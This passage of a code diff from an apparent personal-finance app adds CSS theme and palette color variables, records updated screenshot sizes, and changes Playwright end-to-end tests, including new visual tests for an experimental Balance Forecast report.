||||
--color-buttonMenuSelectedText: var(--palette-green800);
|
||||
--color-buttonMenuSelectedTextHover: var(--palette-orange800);
|
||||
--color-buttonMenuSelectedBackground: var(--palette-orange200);
|
||||
--color-buttonMenuSelectedBackgroundHover: var(--palette-gray300);
|
||||
--color-buttonMenuSelectedBorder: var(--color-buttonMenuSelectedBackground);
|
||||
|
||||
--color-buttonPrimaryText: var(--palette-white);
|
||||
--color-buttonPrimaryTextHover: var(--color-buttonPrimaryText);
|
||||
--color-buttonPrimaryBackground: var(--palette-purple300);
|
||||
--color-buttonPrimaryBackgroundHover: var(--color-buttonPrimaryBackground);
|
||||
--color-buttonPrimaryBorder: var(--color-buttonPrimaryBackground);
|
||||
--color-buttonPrimaryShadow: rgba(0, 0, 0, 0.6);
|
||||
--color-buttonPrimaryDisabledText: var(--palette-gray400);
|
||||
--color-buttonPrimaryDisabledBackground: var(--palette-gray700);
|
||||
--color-buttonPrimaryDisabledBorder: var(
|
||||
--color-buttonPrimaryDisabledBackground
|
||||
);
|
||||
|
||||
--color-buttonNormalText: var(--palette-gray150);
|
||||
--color-buttonNormalTextHover: var(--palette-gray150);
|
||||
--color-buttonNormalBackground: var(--palette-gray600);
|
||||
--color-buttonNormalBackgroundHover: var(--palette-gray400);
|
||||
--color-buttonNormalBorder: var(--palette-gray300);
|
||||
--color-buttonNormalShadow: rgba(0, 0, 0, 0.4);
|
||||
--color-buttonNormalSelectedText: var(--palette-white);
|
||||
--color-buttonNormalSelectedBackground: var(--palette-purple500);
|
||||
--color-buttonNormalDisabledText: var(--palette-gray400);
|
||||
--color-buttonNormalDisabledBackground: var(--palette-gray700);
|
||||
--color-buttonNormalDisabledBorder: var(--palette-gray500);
|
||||
|
||||
--color-calendarText: var(--palette-gray50);
|
||||
--color-calendarBackground: var(--palette-gray700);
|
||||
--color-calendarItemText: var(--palette-gray150);
|
||||
--color-calendarItemBackground: var(--palette-gray500);
|
||||
--color-calendarSelectedBackground: var(
|
||||
--color-buttonNormalSelectedBackground
|
||||
);
|
||||
|
||||
--color-buttonBareText: var(--color-buttonNormalText);
|
||||
--color-buttonBareTextHover: var(--color-buttonNormalText);
|
||||
--color-buttonBareBackground: transparent;
|
||||
--color-buttonBareBackgroundHover: rgba(200, 200, 200, 0.3);
|
||||
--color-buttonBareBackgroundActive: rgba(200, 200, 200, 0.5);
|
||||
--color-buttonBareDisabledText: var(--color-buttonNormalDisabledText);
|
||||
--color-buttonBareDisabledBackground: var(--color-buttonBareBackground);
|
||||
|
||||
--color-noticeBackground: var(--palette-green600);
|
||||
--color-noticeBackgroundLight: var(--palette-green900);
|
||||
--color-noticeBackgroundDark: var(--palette-green400);
|
||||
--color-noticeText: var(--palette-green300);
|
||||
--color-noticeTextLight: var(--palette-green400);
|
||||
--color-noticeTextDark: var(--palette-green150);
|
||||
--color-noticeTextMenu: var(--palette-green400);
|
||||
--color-noticeTextMenuHover: var(--palette-green700);
|
||||
--color-noticeBorder: var(--palette-green800);
|
||||
--color-warningBackground: var(--palette-orange800);
|
||||
--color-warningText: var(--palette-orange200);
|
||||
--color-warningTextLight: var(--palette-orange500);
|
||||
--color-warningTextDark: var(--palette-orange100);
|
||||
--color-warningBorder: var(--palette-orange500);
|
||||
--color-errorBackground: var(--palette-red800);
|
||||
--color-errorText: var(--palette-red200);
|
||||
--color-errorTextDark: var(--palette-red150);
|
||||
--color-errorTextDarker: var(--color-errorTextDark);
|
||||
--color-errorTextMenu: var(--palette-red200);
|
||||
--color-errorBorder: var(--palette-red500);
|
||||
--color-upcomingBackground: var(--palette-purple800);
|
||||
--color-upcomingText: var(--palette-purple200);
|
||||
--color-upcomingBorder: var(--color-tableBorder);
|
||||
|
||||
--color-formLabelText: var(--palette-purple150);
|
||||
--color-formLabelBackground: var(--palette-blue900);
|
||||
--color-formInputBackground: var(--palette-gray800);
|
||||
--color-formInputBackgroundSelected: var(--palette-gray700);
|
||||
--color-formInputBackgroundSelection: var(--palette-purple400);
|
||||
--color-formInputBorder: var(--palette-gray600);
|
||||
--color-formInputTextReadOnlySelection: var(--palette-gray800);
|
||||
--color-formInputBorderSelected: var(--palette-purple300);
|
||||
--color-formInputText: var(--palette-gray150);
|
||||
--color-formInputTextSelected: var(--palette-black);
|
||||
--color-formInputTextPlaceholder: var(--palette-gray150);
|
||||
--color-formInputTextPlaceholderSelected: var(--palette-gray100);
|
||||
--color-formInputTextSelection: var(--palette-gray800);
|
||||
--color-formInputShadowSelected: var(--palette-purple400);
|
||||
--color-formInputTextHighlight: var(--palette-purple200);
|
||||
--color-checkboxText: var(--color-tableText);
|
||||
--color-checkboxBackgroundSelected: var(--palette-purple300);
|
||||
--color-checkboxBorderSelected: var(--palette-purple300);
|
||||
--color-checkboxShadowSelected: var(--palette-purple500);
|
||||
--color-checkboxToggleBackground: var(--palette-gray400);
|
||||
--color-checkboxToggleBackgroundSelected: var(--palette-purple300);
|
||||
--color-checkboxToggleDisabled: var(--palette-gray700);
|
||||
|
||||
--color-pillBackground: var(--palette-gray500);
|
||||
--color-pillBackgroundLight: var(--palette-gray900);
|
||||
--color-pillText: var(--palette-gray200);
|
||||
--color-pillTextHighlighted: var(--palette-purple200);
|
||||
--color-pillBorder: var(--palette-gray500);
|
||||
--color-pillBorderDark: var(--color-pillBorder);
|
||||
--color-pillBackgroundSelected: var(--palette-purple600);
|
||||
--color-pillTextSelected: var(--palette-gray150);
|
||||
--color-pillBorderSelected: var(--palette-purple300);
|
||||
--color-pillTextSubdued: var(--palette-gray500);
|
||||
|
||||
--color-reportsRed: var(--palette-red300);
|
||||
--color-reportsBlue: var(--palette-blue400);
|
||||
--color-reportsGreen: var(--palette-green400);
|
||||
--color-reportsGray: var(--palette-gray400);
|
||||
--color-reportsLabel: var(--color-pageText);
|
||||
--color-reportsInnerLabel: var(--palette-navy800);
|
||||
--color-reportsNumberPositive: var(--color-numberPositive);
|
||||
--color-reportsNumberNegative: var(--color-numberNegative);
|
||||
--color-reportsNumberNeutral: var(--color-numberNeutral);
|
||||
--color-reportsChartFill: var(--color-reportsNumberPositive);
|
||||
|
||||
--color-noteTagBackground: var(--palette-purple800);
|
||||
--color-noteTagBackgroundHover: var(--palette-purple600);
|
||||
--color-noteTagDefault: var(--palette-purple700);
|
||||
--color-noteTagText: var(--palette-purple100);
|
||||
|
||||
--color-budgetOtherMonth: var(--palette-gray700);
|
||||
--color-budgetCurrentMonth: var(--color-tableBackground);
|
||||
--color-budgetHeaderOtherMonth: var(--palette-gray800);
|
||||
--color-budgetHeaderCurrentMonth: var(--color-tableHeaderBackground);
|
||||
|
||||
--color-floatingActionBarBackground: var(--palette-gray900);
|
||||
--color-floatingActionBarBorder: var(--palette-purple300);
|
||||
--color-floatingActionBarText: var(--palette-purple200);
|
||||
|
||||
--color-tooltipText: var(--palette-gray100);
|
||||
--color-tooltipBackground: var(--palette-gray800);
|
||||
--color-tooltipBorder: var(--palette-gray600);
|
||||
|
||||
--color-calendarCellBackground: var(--palette-navy900);
|
||||
|
||||
--color-overlayBackground: rgba(0, 0, 0, 0.3);
|
||||
|
||||
--color-chartQual1: var(--palette-chartQual1);
|
||||
--color-chartQual2: var(--palette-chartQual2);
|
||||
--color-chartQual3: var(--palette-chartQual3);
|
||||
--color-chartQual4: var(--palette-chartQual4);
|
||||
--color-chartQual5: var(--palette-chartQual5);
|
||||
--color-chartQual6: var(--palette-chartQual6);
|
||||
--color-chartQual7: var(--palette-chartQual7);
|
||||
--color-chartQual8: var(--palette-chartQual8);
|
||||
--color-chartQual9: var(--palette-chartQual9);
|
||||
}
|
||||
103
packages/component-library/src/themes/palette.css
Normal file
@@ -0,0 +1,103 @@
|
||||
:root {
|
||||
--palette-gray50: #f6f8fa;
|
||||
--palette-gray80: #f0f4f6;
|
||||
--palette-gray100: #e8ecf0;
|
||||
--palette-gray150: #d4dae0;
|
||||
--palette-gray200: #bdc5cf;
|
||||
--palette-gray300: #98a1ae;
|
||||
--palette-gray400: #747c8b;
|
||||
--palette-gray500: #4d5768;
|
||||
--palette-gray600: #373b4a;
|
||||
--palette-gray700: #242733;
|
||||
--palette-gray800: #141520;
|
||||
--palette-gray900: #080811;
|
||||
|
||||
--palette-navy50: #f7fafc;
|
||||
--palette-navy100: #e8ecf0;
|
||||
--palette-navy150: #d9e2ec;
|
||||
--palette-navy200: #bcccdc;
|
||||
--palette-navy300: #9fb3c8;
|
||||
--palette-navy400: #829ab1;
|
||||
--palette-navy500: #627d98;
|
||||
--palette-navy600: #486581;
|
||||
--palette-navy700: #334e68;
|
||||
--palette-navy800: #243b53;
|
||||
--palette-navy900: #102a43;
|
||||
|
||||
--palette-blue50: #f5fcff;
|
||||
--palette-blue100: #e3f0ff;
|
||||
--palette-blue150: #b3d9ff;
|
||||
--palette-blue200: #8bcafd;
|
||||
--palette-blue300: #66b5fa;
|
||||
--palette-blue400: #40a5f7;
|
||||
--palette-blue500: #2b8fed;
|
||||
--palette-blue600: #1980d4;
|
||||
--palette-blue700: #1271bf;
|
||||
--palette-blue800: #0b5fa3;
|
||||
--palette-blue900: #034388;
|
||||
|
||||
--palette-green50: #fafffd;
|
||||
--palette-green100: #effcf6;
|
||||
--palette-green150: #c6f7e2;
|
||||
--palette-green200: #8eedc7;
|
||||
--palette-green300: #65d6ad;
|
||||
--palette-green400: #3ebd93;
|
||||
--palette-green500: #27ab83;
|
||||
--palette-green600: #199473;
|
||||
--palette-green700: #147d64;
|
||||
--palette-green800: #0c6b58;
|
||||
--palette-green900: #014d40;
|
||||
|
||||
--palette-orange50: #fffefa;
|
||||
--palette-orange100: #fffbea;
|
||||
--palette-orange150: #fff7c4;
|
||||
--palette-orange200: #fcf088;
|
||||
--palette-orange300: #f5e35d;
|
||||
--palette-orange400: #f2d047;
|
||||
--palette-orange500: #e6bb20;
|
||||
--palette-orange600: #d4a31c;
|
||||
--palette-orange700: #b88115;
|
||||
--palette-orange800: #87540d;
|
||||
--palette-orange900: #733309;
|
||||
|
||||
--palette-red50: #fff1f1;
|
||||
--palette-red100: #ffe3e3;
|
||||
--palette-red150: #ffbdbd;
|
||||
--palette-red200: #ff9b9b;
|
||||
--palette-red300: #f86a6a;
|
||||
--palette-red400: #ef4e4e;
|
||||
--palette-red500: #e12d39;
|
||||
--palette-red600: #cf1124;
|
||||
--palette-red700: #ab091e;
|
||||
--palette-red800: #8a041a;
|
||||
--palette-red900: #610316;
|
||||
|
||||
--palette-purple50: #f9f6fe;
|
||||
--palette-purple100: #f2ebfe;
|
||||
--palette-purple125: #e4d4ff;
|
||||
--palette-purple150: #dac4ff;
|
||||
--palette-purple200: #b990ff;
|
||||
--palette-purple300: #a368fc;
|
||||
--palette-purple400: #9446ed;
|
||||
--palette-purple500: #8719e0;
|
||||
--palette-purple600: #7a0ecc;
|
||||
--palette-purple700: #690cb0;
|
||||
--palette-purple800: #580a94;
|
||||
--palette-purple900: #44056e;
|
||||
|
||||
--palette-white: #ffffff;
|
||||
--palette-black: #000000;
|
||||
--palette-hover: #fafafa;
|
||||
--palette-border: #e8ecf0;
|
||||
--palette-selected: #b3d9ff;
|
||||
|
||||
--palette-chartQual1: #45b29d;
|
||||
--palette-chartQual2: #efc94c;
|
||||
--palette-chartQual3: #e27a3f;
|
||||
--palette-chartQual4: #df5a49;
|
||||
--palette-chartQual5: #5f91b8;
|
||||
--palette-chartQual6: #e2a37f;
|
||||
--palette-chartQual7: #55dbc1;
|
||||
--palette-chartQual8: #efda97;
|
||||
--palette-chartQual9: #df948a;
|
||||
}
|
||||
|
Before Width: | Height: | Size: 192 KiB After Width: | Height: | Size: 192 KiB |
|
Before Width: | Height: | Size: 187 KiB After Width: | Height: | Size: 186 KiB |
|
Before Width: | Height: | Size: 186 KiB After Width: | Height: | Size: 186 KiB |
|
Before Width: | Height: | Size: 38 KiB After Width: | Height: | Size: 38 KiB |
|
Before Width: | Height: | Size: 39 KiB After Width: | Height: | Size: 40 KiB |
|
Before Width: | Height: | Size: 39 KiB After Width: | Height: | Size: 39 KiB |
|
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 36 KiB |
|
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 32 KiB |
|
Before Width: | Height: | Size: 33 KiB After Width: | Height: | Size: 34 KiB |
|
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 34 KiB |
|
Before Width: | Height: | Size: 31 KiB After Width: | Height: | Size: 31 KiB |
|
Before Width: | Height: | Size: 30 KiB After Width: | Height: | Size: 31 KiB |
|
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 36 KiB |
|
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 37 KiB |
|
Before Width: | Height: | Size: 28 KiB After Width: | Height: | Size: 28 KiB |
|
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 35 KiB |
|
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 35 KiB |
|
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 32 KiB |
|
Before Width: | Height: | Size: 31 KiB After Width: | Height: | Size: 32 KiB |
|
Before Width: | Height: | Size: 27 KiB After Width: | Height: | Size: 28 KiB |
|
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 35 KiB |
|
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 37 KiB |
|
Before Width: | Height: | Size: 35 KiB After Width: | Height: | Size: 36 KiB |
|
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 34 KiB |
|
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 36 KiB |
|
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 35 KiB |
|
Before Width: | Height: | Size: 35 KiB After Width: | Height: | Size: 36 KiB |
|
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 38 KiB |
|
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 37 KiB |
|
Before Width: | Height: | Size: 35 KiB After Width: | Height: | Size: 36 KiB |
|
Before Width: | Height: | Size: 37 KiB After Width: | Height: | Size: 38 KiB |
|
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 38 KiB |
|
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 36 KiB |
|
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 38 KiB |
|
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 37 KiB |
|
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 35 KiB |
|
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 37 KiB |
|
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 37 KiB |
|
Before Width: | Height: | Size: 38 KiB After Width: | Height: | Size: 38 KiB |
|
Before Width: | Height: | Size: 31 KiB After Width: | Height: | Size: 31 KiB |
|
Before Width: | Height: | Size: 24 KiB After Width: | Height: | Size: 24 KiB |
|
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 32 KiB |
|
Before Width: | Height: | Size: 30 KiB After Width: | Height: | Size: 30 KiB |
|
Before Width: | Height: | Size: 33 KiB After Width: | Height: | Size: 34 KiB |
|
Before Width: | Height: | Size: 35 KiB After Width: | Height: | Size: 35 KiB |
|
Before Width: | Height: | Size: 35 KiB After Width: | Height: | Size: 35 KiB |
|
Before Width: | Height: | Size: 33 KiB After Width: | Height: | Size: 34 KiB |
|
Before Width: | Height: | Size: 35 KiB After Width: | Height: | Size: 35 KiB |
|
Before Width: | Height: | Size: 35 KiB After Width: | Height: | Size: 35 KiB |
|
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 33 KiB |
|
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 34 KiB |
|
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 34 KiB |
|
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 32 KiB |
|
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 34 KiB |
|
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 34 KiB |
|
Before Width: | Height: | Size: 86 KiB After Width: | Height: | Size: 86 KiB |
|
Before Width: | Height: | Size: 86 KiB After Width: | Height: | Size: 86 KiB |
|
Before Width: | Height: | Size: 88 KiB After Width: | Height: | Size: 88 KiB |
@@ -63,7 +63,6 @@ export const expect = baseExpect.extend({
|
||||
|
||||
const config = {
|
||||
mask: [target.locator('[data-vrt-mask="true"]')],
|
||||
maxDiffPixels: 5,
|
||||
};
|
||||
|
||||
const page: Page = 'page' in target ? target.page() : target;
|
||||
|
||||
|
Before Width: | Height: | Size: 93 KiB After Width: | Height: | Size: 93 KiB |
|
Before Width: | Height: | Size: 92 KiB After Width: | Height: | Size: 92 KiB |
|
Before Width: | Height: | Size: 95 KiB After Width: | Height: | Size: 94 KiB |
|
Before Width: | Height: | Size: 119 KiB After Width: | Height: | Size: 119 KiB |
|
Before Width: | Height: | Size: 117 KiB After Width: | Height: | Size: 117 KiB |
|
Before Width: | Height: | Size: 117 KiB After Width: | Height: | Size: 118 KiB |
|
Before Width: | Height: | Size: 138 KiB After Width: | Height: | Size: 138 KiB |
|
Before Width: | Height: | Size: 136 KiB After Width: | Height: | Size: 136 KiB |
|
Before Width: | Height: | Size: 136 KiB After Width: | Height: | Size: 136 KiB |
@@ -245,7 +245,7 @@ export class AccountPage {
|
||||
if (transaction.notes) {
|
||||
const notesCell = transactionRow.getByTestId('notes');
|
||||
await notesCell.click();
|
||||
const notesInput = notesCell.getByRole('textbox');
|
||||
const notesInput = notesCell.getByRole('combobox');
|
||||
await this.selectInputText(notesInput);
|
||||
await notesInput.pressSequentially(transaction.notes);
|
||||
await this.page.keyboard.press('Tab');
|
||||
|
||||
@@ -25,6 +25,75 @@ export class ReportsPage {
|
||||
return new ReportsPage(this.page);
|
||||
}
|
||||
|
||||
async goToBalanceForecastPage() {
|
||||
const gridItems = this.pageContent.locator('.react-grid-item');
|
||||
const count = await gridItems.count();
|
||||
|
||||
let targetItem: Locator | null = null;
|
||||
for (let i = count - 1; i >= 0; i--) {
|
||||
const item = gridItems.nth(i);
|
||||
await item.scrollIntoViewIfNeeded();
|
||||
const heading = item.getByRole('heading', { name: /^Balance Forecast/i });
|
||||
if (await heading.isVisible()) {
|
||||
targetItem = item;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!targetItem) {
|
||||
await this.page.evaluate(() => {
|
||||
window.scrollTo(0, document.documentElement.scrollHeight);
|
||||
});
|
||||
const refreshedCount = await gridItems.count();
|
||||
for (let i = refreshedCount - 1; i >= 0; i--) {
|
||||
const item = gridItems.nth(i);
|
||||
await item.scrollIntoViewIfNeeded();
|
||||
const heading = item.getByRole('heading', {
|
||||
name: /^Balance Forecast/i,
|
||||
});
|
||||
if (await heading.isVisible()) {
|
||||
targetItem = item;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (!targetItem) {
|
||||
throw new Error('No Balance Forecast dashboard card found in the grid');
|
||||
}
|
||||
|
||||
const cardNavigateButton = targetItem.getByRole('button', {
|
||||
name: /^Balance Forecast/i,
|
||||
});
|
||||
await Promise.all([
|
||||
this.page.waitForURL(/\/reports\/forecast\//),
|
||||
cardNavigateButton.click(),
|
||||
]);
|
||||
|
||||
await this.pageContent
|
||||
.getByRole('button', { name: 'Monthly' })
|
||||
.waitFor({ state: 'visible' });
|
||||
|
||||
return new ReportsPage(this.page);
|
||||
}
|
||||
|
||||
async selectForecastGranularity(granularity: string) {
|
||||
await this.pageContent.getByRole('button', { name: 'Monthly' }).click();
|
||||
const option = this.page.getByRole('button', { name: granularity });
|
||||
await option.waitFor({ state: 'visible' });
|
||||
await option.click();
|
||||
await this.pageContent
|
||||
.getByRole('button', { name: granularity })
|
||||
.waitFor({ state: 'visible' });
|
||||
}
|
||||
|
||||
async addWidget(widgetName: string) {
|
||||
await this.pageContent
|
||||
.getByRole('button', { name: 'Add new widget' })
|
||||
.click();
|
||||
await this.page.getByRole('button', { name: widgetName }).click();
|
||||
}
|
||||
|
||||
async goToCustomReportPage() {
|
||||
await this.pageContent
|
||||
.getByRole('button', { name: 'Add new widget' })
|
||||
|
||||
@@ -42,17 +42,22 @@ export class SettingsPage {
|
||||
}
|
||||
|
||||
async enableExperimentalFeature(featureName: string) {
|
||||
if (await this.advancedSettingsButton.isVisible()) {
|
||||
await this.advancedSettingsButton.click();
|
||||
}
|
||||
await this.advancedSettingsButton.waitFor({
|
||||
state: 'visible',
|
||||
timeout: 2000,
|
||||
});
|
||||
await this.advancedSettingsButton.click();
|
||||
|
||||
if (await this.experimentalSettingsButton.isVisible()) {
|
||||
await this.experimentalSettingsButton.click();
|
||||
}
|
||||
await this.experimentalSettingsButton.waitFor({
|
||||
state: 'visible',
|
||||
timeout: 2000,
|
||||
});
|
||||
await this.experimentalSettingsButton.click();
|
||||
|
||||
const featureCheckbox = this.page.getByRole('checkbox', {
|
||||
name: featureName,
|
||||
});
|
||||
await featureCheckbox.waitFor({ state: 'visible' });
|
||||
if (!(await featureCheckbox.isChecked())) {
|
||||
await featureCheckbox.click();
|
||||
}
|
||||
|
||||
@@ -55,6 +55,28 @@ test.describe.parallel('Reports', () => {
|
||||
await expect(page).toMatchThemeScreenshots();
|
||||
});
|
||||
|
||||
test.describe('balance forecast', () => {
|
||||
test.beforeEach(async () => {
|
||||
const settingsPage = await navigation.goToSettingsPage();
|
||||
await settingsPage.enableExperimentalFeature('Balance Forecast Report');
|
||||
|
||||
reportsPage = await navigation.goToReportsPage();
|
||||
await reportsPage.waitToLoad();
|
||||
await reportsPage.addWidget('Balance forecast');
|
||||
await reportsPage.goToBalanceForecastPage();
|
||||
});
|
||||
|
||||
test('loads balance forecast report with monthly granularity', async () => {
|
||||
await expect(page).toMatchThemeScreenshots();
|
||||
});
|
||||
|
||||
test('switches to daily granularity', async () => {
|
||||
await reportsPage.selectForecastGranularity('Daily');
|
||||
|
||||
await expect(page).toMatchThemeScreenshots();
|
||||
});
|
||||
});
|
||||
|
||||
test.describe.parallel('custom reports', () => {
|
||||
let customReportPage: CustomReportPage;
|
||||
|
||||
|
||||
|
After Width: | Height: | Size: 87 KiB |
|
After Width: | Height: | Size: 88 KiB |
|
After Width: | Height: | Size: 87 KiB |
|
After Width: | Height: | Size: 84 KiB |
|
After Width: | Height: | Size: 84 KiB |
|
After Width: | Height: | Size: 83 KiB |
|
Before Width: | Height: | Size: 108 KiB After Width: | Height: | Size: 109 KiB |